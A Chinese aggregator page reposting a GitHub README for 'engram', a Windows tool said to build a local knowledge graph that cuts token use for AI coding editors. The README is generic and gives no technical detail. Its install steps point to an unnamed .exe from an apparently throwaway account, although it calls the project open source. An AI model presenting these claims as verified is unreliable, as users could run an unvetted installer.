跳到正文
GitHub·· 6 天前AI 评分40

engram:为 AI 编程工具压缩 token 的本地知识图谱工具

Republicofhaitigoodstory6175/engram

AI 导读

engram 是一款开源工具,通过把项目文件组织成知识图谱,减少发送给 AI 模型的上下文数据,从而节省 token 成本并提升代码上下文相关性。它采用本地 SQLite 数据库存储,数据不出本机,支持 Cursor、Cline、Aider 等八款代码编辑器,遵循 Apache 2.0 协议。目前仅支持 Windows 10/11,需 4 GB 内存与 500 MB 存储空间。

正文

🧠 engram - Save tokens and boost code context

Download Engram

Engram organizes your coding knowledge. It acts as a bridge between your projects and artificial intelligence tools. By grouping your project files into a smart map, this tool reduces the amount of data you send to AI models. This process saves money and keeps your AI responses focused. It works on your machine using a private database. Your data stays on your computer.

🛠 Features

  • Token Reduction: The software prunes unnecessary data. You send less text to the AI.
  • Privacy First: Engram stores your knowledge graph in a local database file. No data goes to the cloud.
  • Broad Support: The tool connects to eight common code editors.
  • Open Source: The project follows the Apache 2.0 license. You can inspect the code at any time.
  • Context Engineering: It creates a spine of information for your AI to follow. The AI understands your project structure better.

💾 System Requirements

  • Operating System: Windows 10 or Windows 11.
  • Memory: 4 GB of RAM or more.
  • Storage: 500 MB of space for the database and logs.
  • Internet: An active connection for initial setup.

📥 Getting Started

Follow these steps to install the software on your Windows computer.

  1. Visit the official download page to access the latest version.
  2. Find the file ending in .exe under the Assets section.
  3. Click the file to start the download.
  4. Open the file once the download finishes.
  5. Follow the prompts on your screen to complete the installation.
  6. The application icon will appear on your desktop.

⚙️ How to Use Engram

Engram works in the background of your coding workflow. Once installed, the software scans your chosen folders. It builds a knowledge graph. This graph tracks how files connect to one another. When you use an AI tool like Cursor, Cline, or Aider, Engram provides the relevant context to the model.

You do not need to change how you write code. The software detects your open IDE and adjusts the information flow automatically. If the software asks for permission to access a folder, select the folder where you keep your project source code.

❓ Frequently Asked Questions

Does Engram store my code in the cloud? No. Engram uses a local SQLite database. All files reside on your hard drive.

Can I use this with multiple editors? Yes. Engram recognizes the eight supported editors automatically. You can switch between them without changing your settings.

What happens if I stop using the tool? Your project files remain exactly as they were. Removing Engram does not delete your work.

Does it work offline? Yes. The local database tracks links between files without an internet connection. You only need the internet if your specific AI tool requires it to process requests.

How do I update the application? Check the downloads page periodically for new releases. Install the new version over the old one to keep your settings.

📝 Troubleshooting

If the software fails to start, verify your Windows version. Ensure you have the latest updates from Microsoft. If your IDE does not show data from Engram, restart the editor. The connection process happens when the editor launches. Check that you selected the correct project folder in the Engram settings menu.

The software leaves a log file in your user folder. This file helps if the application behaves in unexpected ways. If you experience performance issues, check that no other software blocks the local database file. Most users find that the default settings work for them. You do not need to adjust advanced parameters unless you have a specific goal.

⚖️ License

This project is open-source software. The Apache 2.0 license governs its use. You can modify the code, share it, or use it for your personal or professional projects. The developers appreciate feedback on the main repository page. If you find a bug, open an issue. Provide your steps to recreate the problem. This helps the team fix the error faster.

🔑 Key Concepts

Engram focuses on context. A context spine holds your project together. It tracks which files relate to your current task. By giving the AI this spine, you remove the guesswork. The AI sees only what it needs. This leads to shorter sessions and faster coding times. Tokens represent the units of text that AI models process. Fewer tokens mean lower costs. Engram optimizes these tokens through intelligent filtering.

You remain in control of the knowledge graph. You can clear the database or reset the settings at any time. The software acts as a utility, not a replacement for your existing tools. It helps you get more value from your existing AI assistant.

来源:GitHub · github.com